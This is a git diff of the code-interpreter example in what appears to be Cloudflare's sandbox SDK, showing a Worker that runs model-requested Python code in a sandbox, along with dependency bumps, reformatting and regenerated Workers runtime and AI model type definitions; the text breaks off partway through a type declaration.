https://developers.cloudflare.com/workers/static-assets/binding/ + */ + // "assets": { "directory": "./public/", "binding": "ASSETS" } + /** + * Service Bindings (communicate between multiple Workers) + * https://developers.cloudflare.com/workers/wrangler/configuration/#service-bindings + */ + // "services": [{ "binding": "MY_SERVICE", "service": "my-service" }] + "containers": [ + { + "class_name": "Sandbox", + "image": "./Dockerfile", + "instance_type": "basic" + } + ], + "durable_objects": { + "bindings": [ + { + "class_name": "Sandbox", + "name": "Sandbox" + } + ] + }, + "migrations": [ + { + "new_sqlite_classes": ["Sandbox"], + "tag": "v1" + } + ] +} diff --git a/examples/code-interpreter/README.md b/examples/code-interpreter/README.md index a9e8116e..ae7bc3b4 100644 --- a/examples/code-interpreter/README.md +++ b/examples/code-interpreter/README.md @@ -50,18 +50,21 @@ curl -X POST http://localhost:8787/foo \ ## Setup 1. From the project root, run + ```bash npm install npm run build ``` 2. In this directory, create `.dev.vars` file with your Cloudflare credentials: + ``` CLOUDFLARE_API_KEY=your_api_key_here CLOUDFLARE_ACCOUNT_ID=your_account_id_here ``` 3. Run locally: + ```bash cd examples/code-interpreter # if you're not already here npm run dev diff --git a/examples/code-interpreter/package.json b/examples/code-interpreter/package.json index 1a62171d..16237f6d 100644 --- a/examples/code-interpreter/package.json +++ b/examples/code-interpreter/package.json @@ -15,11 +15,11 @@ "license": "MIT", "dependencies": { "@cloudflare/sandbox": "*", - "openai": "^5.12.0" + "openai": "^6.7.0" }, "devDependencies": { - "@types/node": "^24.9.1", - "typescript": "^5.8.3", - "wrangler": "^4.44.0" + "@types/node": "^24.9.2", + "typescript": "^5.9.3", + "wrangler": "^4.45.2" } } diff --git a/examples/code-interpreter/src/index.ts b/examples/code-interpreter/src/index.ts index e44c9913..59fa51ea 100644 --- a/examples/code-interpreter/src/index.ts +++ b/examples/code-interpreter/src/index.ts @@ -12,136 +12,158 @@ type FunctionTool = OpenAI.Responses.FunctionTool; type FunctionCall = OpenAI.Responses.ResponseFunctionToolCall; interface SandboxResult { - results?: Array<{ text?: string; html?: string; [key: string]: any }>; - logs?: { stdout?: string[]; stderr?: string[] }; - error?: string; + results?: Array<{ text?: string; html?: string; [key: string]: any }>; + logs?: { stdout?: string[]; stderr?: string[] }; + error?: string; } async function callCloudflareAPI( - env: Env, - input: ResponseInputItem[], - tools?: FunctionTool[], - toolChoice: string = 'auto', + env: Env, + input: ResponseInputItem[], + tools?: FunctionTool[], + toolChoice: string = 'auto' ): Promise { - const response = await fetch(`https://api.cloudflare.com/client/v4/accounts/${env.CLOUDFLARE_ACCOUNT_ID}/ai/v1/responses`, { - method: 'POST', - headers: { - 'Content-Type': 'application/json', - Authorization: `Bearer ${env.CLOUDFLARE_API_KEY}`, - }, - body: JSON.stringify({ - model: MODEL, - input, - ...(tools && { tools, tool_choice: toolChoice }), - }), - }); - - if (!response.ok) { - const errorText = await response.text(); - throw new Error(`API call failed: ${response.status} - ${errorText}`); - } - - return response.json() as Promise; + const response = await fetch( + `https://api.cloudflare.com/client/v4/accounts/${env.CLOUDFLARE_ACCOUNT_ID}/ai/v1/responses`, + { + method: 'POST', + headers: { + 'Content-Type': 'application/json', + Authorization: `Bearer ${env.CLOUDFLARE_API_KEY}` + }, + body: JSON.stringify({ + model: MODEL, + input, + ...(tools && { tools, tool_choice: toolChoice }) + }) + } + ); + + if (!response.ok) { + const errorText = await response.text(); + throw new Error(`API call failed: ${response.status} - ${errorText}`); + } + + return response.json() as Promise; } async function executePythonCode(env: Env, code: string): Promise { - const sandboxId = env.Sandbox.idFromName('default'); - const sandbox = getSandbox(env.Sandbox, sandboxId.toString()); - const pythonCtx = await sandbox.createCodeContext({ language: 'python' }); - const result = (await sandbox.runCode(code, { context: pythonCtx })) as SandboxResult; - - // Extract output from results (expressions) - if (result.results?.length) { - const outputs = result.results.map((r) => r.text || r.html || JSON.stringify(r)).filter(Boolean); - if (outputs.length) return outputs.join('\n'); - } - - // Extract output from logs - let output = ''; - if (result.logs?.stdout?.length) { - output = result.logs.stdout.join('\n'); - } - if (result.logs?.stderr?.length) { - if (output) output += '\n'; - output += 'Error: ' + result.logs.stderr.join('\n'); - } - - return result.error ? `Error: ${result.error}` : output || 'Code executed successfully'; + const sandboxId = env.Sandbox.idFromName('default'); + const sandbox = getSandbox(env.Sandbox, sandboxId.toString()); + const pythonCtx = await sandbox.createCodeContext({ language: 'python' }); + const result = (await sandbox.runCode(code, { + context: pythonCtx + })) as SandboxResult; + + // Extract output from results (expressions) + if (result.results?.length) { + const outputs = result.results + .map((r) => r.text || r.html || JSON.stringify(r)) + .filter(Boolean); + if (outputs.length) return outputs.join('\n'); + } + + // Extract output from logs + let output = ''; + if (result.logs?.stdout?.length) { + output = result.logs.stdout.join('\n'); + } + if (result.logs?.stderr?.length) { + if (output) output += '\n'; + output += 'Error: ' + result.logs.stderr.join('\n'); + } + + return result.error + ? `Error: ${result.error}` + : output || 'Code executed successfully'; } async function handleAIRequest(input: string, env: Env): Promise { - const pythonTool: FunctionTool = { - type: 'function', - name: 'execute_python', - description: 'Execute Python code and return the output', - parameters: { - type: 'object', - properties: { - code: { - type: 'string', - description: 'The Python code to execute', - }, - }, - required: ['code'], - }, - strict: null, - }; - - // Initial AI request with Python execution tool - let response = await callCloudflareAPI(env, [{ role: 'user', content: input }], [pythonTool]); - - // Check for function call - const functionCall = response.output?.find( - (item): item is FunctionCall => item.type === 'function_call' && item.name === 'execute_python', - ); - - if (functionCall?.arguments) { - try { - const { code } = JSON.parse(functionCall.arguments) as { code: string }; - const output = await executePythonCode(env, code); - - const functionResult: ResponseInputItem = { - type: 'function_call_output', - call_id: functionCall.call_id, - output, - } as OpenAI.Responses.ResponseInputItem.FunctionCallOutput; - - // Get final response with execution result - response = await callCloudflareAPI(env, [{ role: 'user', content: input }, functionCall as ResponseInputItem, functionResult]); - } catch (error) { - console.error('Sandbox execution failed:', error); - } - } - - // Extract final response text - const message = response.output?.find((item) => item.type === 'message'); - const textContent = message?.content?.find((c: any) => c.type === 'output_text'); - const text = textContent && 'text' in textContent ? textContent.text : undefined; - - return text || 'No response generated'; + const pythonTool: FunctionTool = { + type: 'function', + name: 'execute_python', + description: 'Execute Python code and return the output', + parameters: { + type: 'object', + properties: { + code: { + type: 'string', + description: 'The Python code to execute' + } + }, + required: ['code'] + }, + strict: null + }; + + // Initial AI request with Python execution tool + let response = await callCloudflareAPI( + env, + [{ role: 'user', content: input }], + [pythonTool] + ); + + // Check for function call + const functionCall = response.output?.find( + (item): item is FunctionCall => + item.type === 'function_call' && item.name === 'execute_python' + ); + + if (functionCall?.arguments) { + try { + const { code } = JSON.parse(functionCall.arguments) as { code: string }; + const output = await executePythonCode(env, code); + + const functionResult: ResponseInputItem = { + type: 'function_call_output', + call_id: functionCall.call_id, + output + } as OpenAI.Responses.ResponseInputItem.FunctionCallOutput; + + // Get final response with execution result + response = await callCloudflareAPI(env, [ + { role: 'user', content: input }, + functionCall as ResponseInputItem, + functionResult + ]); + } catch (error) { + console.error('Sandbox execution failed:', error); + } + } + + // Extract final response text + const message = response.output?.find((item) => item.type === 'message'); + const textContent = message?.content?.find( + (c: any) => c.type === 'output_text' + ); + const text = + textContent && 'text' in textContent ? textContent.text : undefined; + + return text || 'No response generated'; } export default { - async fetch(request: Request, env: Env): Promise { - const url = new URL(request.url); - - if (url.pathname !== API_PATH || request.method !== 'POST') { - return new Response('Not Found', { status: 404 }); - } - - try { - const { input } = await request.json<{ input?: string }>(); - - if (!input) { - return Response.json({ error: 'Missing input field' }, { status: 400 }); - } - - const output = await handleAIRequest(input, env); - return Response.json({ output }); - } catch (error) { - console.error('Request failed:', error); - const message = error instanceof Error ? error.message : 'Internal Server Error'; - return Response.json({ error: message }, { status: 500 }); - } - }, + async fetch(request: Request, env: Env): Promise { + const url = new URL(request.url); + + if (url.pathname !== API_PATH || request.method !== 'POST') { + return new Response('Not Found', { status: 404 }); + } + + try { + const { input } = await request.json<{ input?: string }>(); + + if (!input) { + return Response.json({ error: 'Missing input field' }, { status: 400 }); + } + + const output = await handleAIRequest(input, env); + return Response.json({ output }); + } catch (error) { + console.error('Request failed:', error); + const message = + error instanceof Error ? error.message : 'Internal Server Error'; + return Response.json({ error: message }, { status: 500 }); + } + } } satisfies ExportedHandler; diff --git a/examples/code-interpreter/tsconfig.json b/examples/code-interpreter/tsconfig.json index d8303840..5337caeb 100644 --- a/examples/code-interpreter/tsconfig.json +++ b/examples/code-interpreter/tsconfig.json @@ -1,15 +1,15 @@ { - "compilerOptions": { - "target": "esnext", - "lib": ["esnext"], - "module": "esnext", - "moduleResolution": "bundler", - "types": ["@types/node", "./worker-configuration.d.ts"], - "esModuleInterop": true, - "forceConsistentCasingInFileNames": true, - "strict": true, - "skipLibCheck": true, - "noEmit": true - }, - "include": ["worker-configuration.d.ts", "src/**/*.ts"] + "compilerOptions": { + "target": "esnext", + "lib": ["esnext"], + "module": "esnext", + "moduleResolution": "bundler", + "types": ["@types/node", "./worker-configuration.d.ts"], + "esModuleInterop": true, + "forceConsistentCasingInFileNames": true, + "strict": true, + "skipLibCheck": true, + "noEmit": true + }, + "include": ["worker-configuration.d.ts", "src/**/*.ts"] } diff --git a/examples/code-interpreter/worker-configuration.d.ts b/examples/code-interpreter/worker-configuration.d.ts index ed82610c..9e816f01 100644 --- a/examples/code-interpreter/worker-configuration.d.ts +++ b/examples/code-interpreter/worker-configuration.d.ts @@ -1,10 +1,14 @@ /* eslint-disable */ -// Generated by Wrangler by running `wrangler types` (hash: 5794c970f2feffa235e05a3988d1e59d) -// Runtime types generated with workerd@1.20250803.0 2025-05-06 nodejs_compat +// Generated by Wrangler by running `wrangler types` (hash: 5d82a447cd418e720acbe26bfdc74b92) +// Runtime types generated with workerd@1.20251011.0 2025-05-06 nodejs_compat declare namespace Cloudflare { + interface GlobalProps { + mainModule: typeof import("./src/index"); + durableNamespaces: "Sandbox"; + } interface Env { - CLOUDFLARE_API_KEY: string; CLOUDFLARE_ACCOUNT_ID: string; + CLOUDFLARE_API_KEY: string; Sandbox: DurableObjectNamespace; } } @@ -13,7 +17,7 @@ type StringifyValues> = { [Binding in keyof EnvType]: EnvType[Binding] extends string ? EnvType[Binding] : string; }; declare namespace NodeJS { - interface ProcessEnv extends StringifyValues> {} + interface ProcessEnv extends StringifyValues> {} } // Begin runtime types @@ -346,10 +350,10 @@ declare const origin: string; declare const navigator: Navigator; interface TestController { } -interface ExecutionContext { +interface ExecutionContext { waitUntil(promise: Promise): void; passThroughOnException(): void; - props: any; + readonly props: Props; } type ExportedHandlerFetchHandler = (request: Request>, env: Env, ctx: ExecutionContext) => Response | Promise; type ExportedHandlerTailHandler = (events: TraceItem[], env: Env, ctx: ExecutionContext) => void | Promise; @@ -383,18 +387,6 @@ declare abstract class Navigator { readonly userAgent: string; readonly hardwareConcurrency: number; } -/** -* The Workers runtime supports a subset of the Performance API, used to measure timing and performance, -* as well as timing of subrequests and other operations. -* -* [Cloudflare Docs Reference](https://developers.cloudflare.com/workers/runtime-apis/performance/) -*/ -interface Performance { - /* [Cloudflare Docs Reference](https://developers.cloudflare.com/workers/runtime-apis/performance/#performancetimeorigin) */ - readonly timeOrigin: number; - /* [Cloudflare Docs Reference](https://developers.cloudflare.com/workers/runtime-apis/performance/#performancenow) */ - now(): number; -} interface AlarmInvocationInfo { readonly isRetry: boolean; readonly retryCount: number; @@ -418,11 +410,12 @@ interface DurableObjectId { equals(other: DurableObjectId): boolean; readonly name?: string; } -interface DurableObjectNamespace { +declare abstract class DurableObjectNamespace { newUniqueId(options?: DurableObjectNamespaceNewUniqueIdOptions): DurableObjectId; idFromName(name: string): DurableObjectId; idFromString(id: string): DurableObjectId; get(id: DurableObjectId, options?: DurableObjectNamespaceGetDurableObjectOptions): DurableObjectStub; + getByName(name: string, options?: DurableObjectNamespaceGetDurableObjectOptions): DurableObjectStub; jurisdiction(jurisdiction: DurableObjectJurisdiction): DurableObjectNamespace; } type DurableObjectJurisdiction = "eu" | "fedramp" | "fedramp-high"; @@ -433,8 +426,11 @@ type DurableObjectLocationHint = "wnam" | "enam" | "sam" | "weur" | "eeur" | "ap interface DurableObjectNamespaceGetDurableObjectOptions { locationHint?: DurableObjectLocationHint; } -interface DurableObjectState { +interface DurableObjectClass<_T extends Rpc.DurableObjectBranded | undefined = undefined> { +} +interface DurableObjectState { waitUntil(promise: Promise): void; + readonly props: Props; readonly id: DurableObjectId; readonly storage: DurableObjectStorage; container?: Container; @@ -477,6 +473,7 @@ interface DurableObjectStorage { deleteAlarm(options?: DurableObjectSetAlarmOptions): Promise; sync(): Promise; sql: SqlStorage; + kv: SyncKvStorage; transactionSync(closure: () => T): T; getCurrentBookmark(): Promise; getBookmarkForTime(timestamp: number | Date): Promise; @@ -2048,6 +2045,7 @@ interface TraceItem { readonly scriptVersion?: ScriptVersion; readonly dispatchNamespace?: string; readonly scriptTags?: string[]; + readonly durableObjectId?: string; readonly outcome: string; readonly executionModel: string; readonly truncated: boolean; @@ -2549,6 +2547,74 @@ interface MessagePort extends EventTarget { interface MessagePortPostMessageOptions { transfer?: any[]; } +type LoopbackForExport Rpc.EntrypointBranded) | ExportedHandler | undefined = undefined> = T extends new (...args: any[]) => Rpc.WorkerEntrypointBranded ? LoopbackServiceStub> : T extends new (...args: any[]) => Rpc.DurableObjectBranded ? LoopbackDurableObjectClass> : T extends ExportedHandler ? LoopbackServiceStub : undefined; +type LoopbackServiceStub = Fetcher & (T extends CloudflareWorkersModule.WorkerEntrypoint ? (opts: { + props?: Props; +}) => Fetcher : (opts: { + props?: any; +}) => Fetcher); +type LoopbackDurableObjectClass = DurableObjectClass & (T extends CloudflareWorkersModule.DurableObject ? (opts: { + props?: Props; +}) => DurableObjectClass : (opts: { + props?: any; +}) => DurableObjectClass); +interface SyncKvStorage { + get(key: string): T | undefined; + list(options?: SyncKvListOptions): Iterable<[ + string, + T + ]>; + put(key: string, value: T): void; + delete(key: string): boolean; +} +interface SyncKvListOptions { + start?: string; + startAfter?: string; + end?: string; + prefix?: string; + reverse?: boolean; + limit?: number; +} +interface WorkerStub { + getEntrypoint(name?: string, options?: WorkerStubEntrypointOptions): Fetcher; +} +interface WorkerStubEntrypointOptions { + props?: any; +} +interface WorkerLoader { + get(name: string, getCode: () => WorkerLoaderWorkerCode | Promise): WorkerStub; +} +interface WorkerLoaderModule { + js?: string; + cjs?: string; + text?: string; + data?: ArrayBuffer; + json?: any; + py?: string; +} +interface WorkerLoaderWorkerCode { + compatibilityDate: string; + compatibilityFlags?: string[]; + allowExperimental?: boolean; + mainModule: string; + modules: Record; + env?: any; + globalOutbound?: (Fetcher | null); + tails?: Fetcher[]; + streamingTails?: Fetcher[]; +} +/** +* The Workers runtime supports a subset of the Performance API, used to measure timing and performance, +* as well as timing of subrequests and other operations. +* +* [Cloudflare Docs Reference](https://developers.cloudflare.com/workers/runtime-apis/performance/) +*/ +declare abstract class Performance { + /* [Cloudflare Docs Reference](https://developers.cloudflare.com/workers/runtime-apis/performance/#performancetimeorigin) */ + get timeOrigin(): number; + /* [Cloudflare Docs Reference](https://developers.cloudflare.com/workers/runtime-apis/performance/#performancenow) */ + now(): number; +} type AiImageClassificationInput = { image: number[]; }; @@ -2603,6 +2669,18 @@ declare abstract class BaseAiImageTextToText { inputs: AiImageTextToTextInput; postProcessedOutputs: AiImageTextToTextOutput; } +type AiMultimodalEmbeddingsInput = { + image: string; + text: string[]; +}; +type AiIMultimodalEmbeddingsOutput = { + data: number[][]; + shape: number[]; +}; +declare abstract class BaseAiMultimodalEmbeddings { + inputs: AiImageTextToTextInput; + postProcessedOutputs: AiImageTextToTextOutput; +} type AiObjectDetectionInput = { image: number[]; }; @@ -2733,12 +2811,27 @@ type AiTextGenerationInput = { tools?: AiTextGenerationToolInput[] | AiTextGenerationToolLegacyInput[] | (object & NonNullable); functions?: AiTextGenerationFunctionsInput[]; }; +type AiTextGenerationToolLegacyOutput = { + name: string; + arguments: unknown; +}; +type AiTextGenerationToolOutput = { + id: string; + type: "function"; + function: { + name: string; + arguments: string; + }; +}; +type UsageTags = { + prompt_tokens: number; + completion_tokens: number; + total_tokens: number; +}; type AiTextGenerationOutput = { response?: string; - tool_calls?: { - name: string; - arguments: unknown; - }[]; + tool_calls?: AiTextGenerationToolLegacyOutput[] & AiTextGenerationToolOutput[]; + usage?: UsageTags; }; declare abstract class BaseAiTextGeneration { inputs: AiTextGenerationInput; @@ -3782,7 +3875,7 @@ type Ai_Cf_Meta_Llama_3_3_70B_Instruct_Fp8_Fast_Output = { */ name?: string; }[]; -} | AsyncResponse; +} | string | AsyncResponse; declare abstract class Base_Ai_Cf_Meta_Llama_3_3_70B_Instruct_Fp8_Fast { inputs: Ai_Cf_Meta_Llama_3_3_70B_Instruct_Fp8_Fast_Input; postProcessedOutputs: Ai_Cf_Meta_Llama_3_3_70B_Instruct_Fp8_Fast_Output; @@ -3856,7 +3949,6 @@ interface Ai_Cf_Baai_Bge_Reranker_Base_Input { /** * A query you wish to perform against the provided contexts. */ - query: string; /** * Number of returned results starting with the best score. */ @@ -4920,7 +5012,7 @@ declare abstract class Base_Ai_Cf_Google_Gemma_3_12B_It { inputs: Ai_Cf_Google_Gemma_3_12B_It_Input; postProcessedOutputs: Ai_Cf_Google_Gemma_3_12B_It_Output; } -type Ai_Cf_Meta_Llama_4_Scout_17B_16E_Instruct_Input = Ai_Cf_Meta_Llama_4_Prompt | Ai_Cf_Meta_Llama_4_Messages; +type Ai_Cf_Meta_Llama_4_Scout_17B_16E_Instruct_Input = Ai_Cf_Meta_Llama_4_Prompt | Ai_Cf_Meta_Llama_4_Messages | Ai_Cf_Meta_Llama_4_Async_Batch; interface Ai_Cf_Meta_Llama_4_Prompt { /** * The input text prompt for the model to generate a response. @@ -5148,71 +5240,712 @@ interface Ai_Cf_Meta_Llama_4_Messages { */ presence_penalty?: number; } -type Ai_Cf_Meta_Llama_4_Scout_17B_16E_Instruct_Output = { +interface Ai_Cf_Meta_Llama_4_Async_Batch { + requests: (Ai_Cf_Meta_Llama_4_Prompt_Inner | Ai_Cf_Meta_Llama_4_Messages_Inner)[]; +} +interface Ai_Cf_Meta_Llama_4_Prompt_Inner { /** - * The generated text response from the model + * The input text prompt for the model to generate a response. */ - response: string; + prompt: string; /** - * Usage statistics for the inference request + * JSON schema that should be fulfilled for the response. */ - usage?: { - /** - * Total number of tokens in input - */ - prompt_tokens?: number; + guided_json?: object; + response_format?: JSONMode; + /** + * If true, a chat template is not applied and you must adhere to the specific model's expected formatting. + */ + raw?: boolean; + /** + * If true, the response will be streamed back incrementally using SSE, Server Sent Events. + */ + stream?: boolean; + /** + * The maximum number of tokens to generate in the response. + */ + max_tokens?: number; + /** + * Controls the randomness of the output; higher values produce more random results. + */ + temperature?: number; + /** + * Adjusts the creativity of the AI's responses by controlling how many possible words it considers. Lower values make outputs more predictable; higher values allow for more varied and creative responses. + */ + top_p?: number; + /** + * Limits the AI to choose from the top 'k' most probable words. Lower values make responses more focused; higher values introduce more variety and potential surprises. + */ + top_k?: number; + /** + * Random seed for reproducibility of the generation. + */ + seed?: number; + /** + * Penalty for repeated tokens; higher values discourage repetition. + */ + repetition_penalty?: number; + /** + * Decreases the likelihood of the model repeating the same lines verbatim. + */ + frequency_penalty?: number; + /** + * Increases the likelihood of the model introducing new topics. + */ + presence_penalty?: number; +} +interface Ai_Cf_Meta_Llama_4_Messages_Inner { + /** + * An array of message objects representing the conversation history. + */ + messages: { /** - * Total number of tokens in output + * The role of the message sender (e.g., 'user', 'assistant', 'system', 'tool'). */ - completion_tokens?: number; + role?: string; /** - * Total number of input and output tokens + * The tool call id. If you don't know what to put here you can fall back to 000000001 */ - total_tokens?: number; - }; + tool_call_id?: string; + content?: string | { + /** + * Type of the content provided + */ + type?: string; + text?: string; + image_url?: { + /** + * image uri with data (e.g. data:image/jpeg;base64,/9j/...). HTTP URL will not be accepted + */ + url?: string; + }; + }[] | { + /** + * Type of the content provided + */ + type?: string; + text?: string; + image_url?: { + /** + * image uri with data (e.g. data:image/jpeg;base64,/9j/...). HTTP URL will not be accepted + */ + url?: string; + }; + }; + }[]; + functions?: { + name: string; + code: string; + }[]; /** - * An array of tool calls requests made during the response generation + * A list of tools available for the assistant to use. */ - tool_calls?: { + tools?: ({ /** - * The tool call id. + * The name of the tool. More descriptive the better. */ - id?: string; + name: string; + /** + * A brief description of what the tool does. + */ + description: string; + /** + * Schema defining the parameters accepted by the tool. + */ + parameters: { + /** + * The type of the parameters object (usually 'object'). + */ + type: string; + /** + * List of required parameter names. + */ + required?: string[]; + /** + * Definitions of each parameter. + */ + properties: { + [k: string]: { + /** + * The data type of the parameter. + */ + type: string; + /** + * A description of the expected parameter. + */ + description: string; + }; + }; + }; + } | { /** * Specifies the type of tool (e.g., 'function'). */ - type?: string; + type: string; /** * Details of the function tool. */ - function?: { + function: { /** - * The name of the tool to be called + * The name of the function. */ - name?: string; + name: string; /** - * The arguments passed to be passed to the tool call request + * A brief description of what the function does. */ - arguments?: object; + description: string; + /** + * Schema defining the parameters accepted by the function. + */ + parameters: { + /** + * The type of the parameters object (usually 'object'). + */ + type: string; + /** + * List of required parameter names. + */ + required?: string[]; + /** + * Definitions of each parameter. + */ + properties: { + [k: string]: { + /** + * The data type of the parameter. + */ + type: string; + /** + * A description of the expected parameter. + */ + description: string; + }; + }; + }; }; - }[]; -}; -declare abstract class Base_Ai_Cf_Meta_Llama_4_Scout_17B_16E_Instruct { - inputs: Ai_Cf_Meta_Llama_4_Scout_17B_16E_Instruct_Input; - postProcessedOutputs: Ai_Cf_Meta_Llama_4_Scout_17B_16E_Instruct_Output; -} -interface AiModels { - "@cf/huggingface/distilbert-sst-2-int8": BaseAiTextClassification; - "@cf/stabilityai/stable-diffusion-xl-base-1.0": BaseAiTextToImage; - "@cf/runwayml/stable-diffusion-v1-5-inpainting": BaseAiTextToImage; - "@cf/runwayml/stable-diffusion-v1-5-img2img": BaseAiTextToImage; - "@cf/lykon/dreamshaper-8-lcm": BaseAiTextToImage; - "@cf/bytedance/stable-diffusion-xl-lightning": BaseAiTextToImage; - "@cf/myshell-ai/melotts": BaseAiTextToSpeech; - "@cf/microsoft/resnet-50": BaseAiImageClassification; - "@cf/facebook/detr-resnet-50": BaseAiObjectDetection; - "@cf/meta/llama-2-7b-chat-int8": BaseAiTextGeneration; - "@cf/mistral/mistral-7b-instruct-v0.1": BaseAiTextGeneration; + })[]; + response_format?: JSONMode; + /** + * JSON schema that should be fufilled for the response. + */ + guided_json?: object; + /** + * If true, a chat template is not applied and you must adhere to the specific model's expected formatting. + */ + raw?: boolean; + /** + * If true, the response will be streamed back incrementally using SSE, Server Sent Events. + */ + stream?: boolean; + /** + * The maximum number of tokens to generate in the response. + */ + max_tokens?: number; + /** + * Controls the randomness of the output; higher values produce more random results. + */ + temperature?: number; + /** + * Adjusts the creativity of the AI's responses by controlling how many possible words it considers. Lower values make outputs more predictable; higher values allow for more varied and creative responses. + */ + top_p?: number; + /** + * Limits the AI to choose from the top 'k' most probable words. Lower values make responses more focused; higher values introduce more variety and potential surprises. + */ + top_k?: number; + /** + * Random seed for reproducibility of the generation. + */ + seed?: number; + /** + * Penalty for repeated tokens; higher values discourage repetition. + */ + repetition_penalty?: number; + /** + * Decreases the likelihood of the model repeating the same lines verbatim. + */ + frequency_penalty?: number; + /** + * Increases the likelihood of the model introducing new topics. + */ + presence_penalty?: number; +} +type Ai_Cf_Meta_Llama_4_Scout_17B_16E_Instruct_Output = { + /** + * The generated text response from the model + */ + response: string; + /** + * Usage statistics for the inference request + */ + usage?: { + /** + * Total number of tokens in input + */ + prompt_tokens?: number; + /** + * Total number of tokens in output + */ + completion_tokens?: number; + /** + * Total number of input and output tokens + */ + total_tokens?: number; + }; + /** + * An array of tool calls requests made during the response generation + */ + tool_calls?: { + /** + * The tool call id. + */ + id?: string; + /** + * Specifies the type of tool (e.g., 'function'). + */ + type?: string; + /** + * Details of the function tool. + */ + function?: { + /** + * The name of the tool to be called + */ + name?: string; + /** + * The arguments passed to be passed to the tool call request + */ + arguments?: object; + }; + }[]; +}; +declare abstract class Base_Ai_Cf_Meta_Llama_4_Scout_17B_16E_Instruct { + inputs: Ai_Cf_Meta_Llama_4_Scout_17B_16E_Instruct_Input; + postProcessedOutputs: Ai_Cf_Meta_Llama_4_Scout_17B_16E_Instruct_Output; +} +interface Ai_Cf_Deepgram_Nova_3_Input { + audio: { + body: object; + contentType: string; + }; + /** + * Sets how the model will interpret strings submitted to the custom_topic param. When strict, the model will only return topics submitted using the custom_topic param. When extended, the model will return its own detected topics in addition to those submitted using the custom_topic param. + */ + custom_topic_mode?: "extended" | "strict"; + /** + * Custom topics you want the model to detect within your input audio or text if present Submit up to 100 + */ + custom_topic?: string; + /** + * Sets how the model will interpret intents submitted to the custom_intent param. When strict, the model will only return intents submitted using the custom_intent param. When extended, the model will return its own detected intents in addition those submitted using the custom_intents param + */ + custom_intent_mode?: "extended" | "strict"; + /** + * Custom intents you want the model to detect within your input audio if present + */ + custom_intent?: string; + /** + * Identifies and extracts key entities from content in submitted audio + */ + detect_entities?: boolean; + /** + * Identifies the dominant language spoken in submitted audio + */ + detect_language?: boolean; + /** + * Recognize speaker changes. Each word in the transcript will be assigned a speaker number starting at 0 + */ + diarize?: boolean; + /** + * Identify and extract key entities from content in submitted audio + */ + dictation?: boolean; + /** + * Specify the expected encoding of your submitted audio + */ + encoding?: "linear16" | "flac" | "mulaw" | "amr-nb" | "amr-wb" | "opus" | "speex" | "g729"; + /** + * Arbitrary key-value pairs that are attached to the API response for usage in downstream processing + */ + extra?: string; + /** + * Filler Words can help transcribe interruptions in your audio, like 'uh' and 'um' + */ + filler_words?: boolean; + /** + * Key term prompting can boost or suppress specialized terminology and brands. + */ + keyterm?: string; + /** + * Keywords can boost or suppress specialized terminology and brands. + */ + keywords?: string; + /** + * The BCP-47 language tag that hints at the primary spoken language. Depending on the Model and API endpoint you choose only certain languages are available. + */ + language?: string; + /** + * Spoken measurements will be converted to their corresponding abbreviations. + */ + measurements?: boolean; + /** + * Opts out requests from the Deepgram Model Improvement Program. Refer to our Docs for pricing impacts before setting this to true. https://dpgr.am/deepgram-mip. + */ + mip_opt_out?: boolean; + /** + * Mode of operation for the model representing broad area of topic that will be talked about in the supplied audio + */ + mode?: "general" | "medical" | "finance"; + /** + * Transcribe each audio channel independently. + */ + multichannel?: boolean; + /** + * Numerals converts numbers from written format to numerical format. + */ + numerals?: boolean; + /** + * Splits audio into paragraphs to improve transcript readability. + */ + paragraphs?: boolean; + /** + * Profanity Filter looks for recognized profanity and converts it to the nearest recognized non-profane word or removes it from the transcript completely. + */ + profanity_filter?: boolean; + /** + * Add punctuation and capitalization to the transcript. + */ + punctuate?: boolean; + /** + * Redaction removes sensitive information from your transcripts. + */ + redact?: string; + /** + * Search for terms or phrases in submitted audio and replaces them. + */ + replace?: string; + /** + * Search for terms or phrases in submitted audio. + */ + search?: string; + /** + * Recognizes the sentiment throughout a transcript or text. + */ + sentiment?: boolean; + /** + * Apply formatting to transcript output. When set to true, additional formatting will be applied to transcripts to improve readability. + */ + smart_format?: boolean; + /** + * Detect topics throughout a transcript or text. + */ + topics?: boolean; + /** + * Segments speech into meaningful semantic units. + */ + utterances?: boolean; + /** + * Seconds to wait before detecting a pause between words in submitted audio. + */ + utt_split?: number; + /** + * The number of channels in the submitted audio + */ + channels?: number; + /** + * Specifies whether the streaming endpoint should provide ongoing transcription updates as more audio is received. When set to true, the endpoint sends continuous updates, meaning transcription results may evolve over time. Note: Supported only for webosockets. + */ + interim_results?: boolean; + /** + * Indicates how long model will wait to detect whether a speaker has finished speaking or pauses for a significant period of time. When set to a value, the streaming endpoint immediately finalizes the transcription for the processed time range and returns the transcript with a speech_final parameter set to true. Can also be set to false to disable endpointing + */ + endpointing?: string; + /** + * Indicates that speech has started. You'll begin receiving Speech Started messages upon speech starting. Note: Supported only for webosockets. + */ + vad_events?: boolean; + /** + * Indicates how long model will wait to send an UtteranceEnd message after a word has been transcribed. Use with interim_results. Note: Supported only for webosockets. + */ + utterance_end_ms?: boolean; +} +interface Ai_Cf_Deepgram_Nova_3_Output { + results?: { + channels?: { + alternatives?: { + confidence?: number; + transcript?: string; + words?: { + confidence?: number; + end?: number; + start?: number; + word?: string; + }[]; + }[]; + }[]; + summary?: { + result?: string; + short?: string; + }; + sentiments?: { + segments?: { + text?: string; + start_word?: number; + end_word?: number; + sentiment?: string; + sentiment_score?: number; + }[]; + average?: { + sentiment?: string; + sentiment_score?: number; + }; + }; + }; +} +declare abstract class Base_Ai_Cf_Deepgram_Nova_3 { + inputs: Ai_Cf_Deepgram_Nova_3_Input; + postProcessedOutputs: Ai_Cf_Deepgram_Nova_3_Output; +} +type Ai_Cf_Pipecat_Ai_Smart_Turn_V2_Input = { + /** + * readable stream with audio data and content-type specified for that data + */ + audio: { + body: object; + contentType: string; + }; + /** + * type of data PCM data that's sent to the inference server as raw array + */ + dtype?: "uint8" | "float32" | "float64"; +} | { + /** + * base64 encoded audio data + */ + audio: string; + /** + * type of data PCM data that's sent to the inference server as raw array + */ + dtype?: "uint8" | "float32" | "float64"; +}; +interface Ai_Cf_Pipecat_Ai_Smart_Turn_V2_Output { + /** + * if true, end-of-turn was detected + */ + is_complete?: boolean; + /** + * probability of the end-of-turn detection + */ + probability?: number; +} +declare abstract class Base_Ai_Cf_Pipecat_Ai_Smart_Turn_V2 { + inputs: Ai_Cf_Pipecat_Ai_Smart_Turn_V2_Input; + postProcessedOutputs: Ai_Cf_Pipecat_Ai_Smart_Turn_V2_Output; +} +type Ai_Cf_Openai_Gpt_Oss_120B_Input = GPT_OSS_120B_Responses | GPT_OSS_120B_Responses_Async; +interface 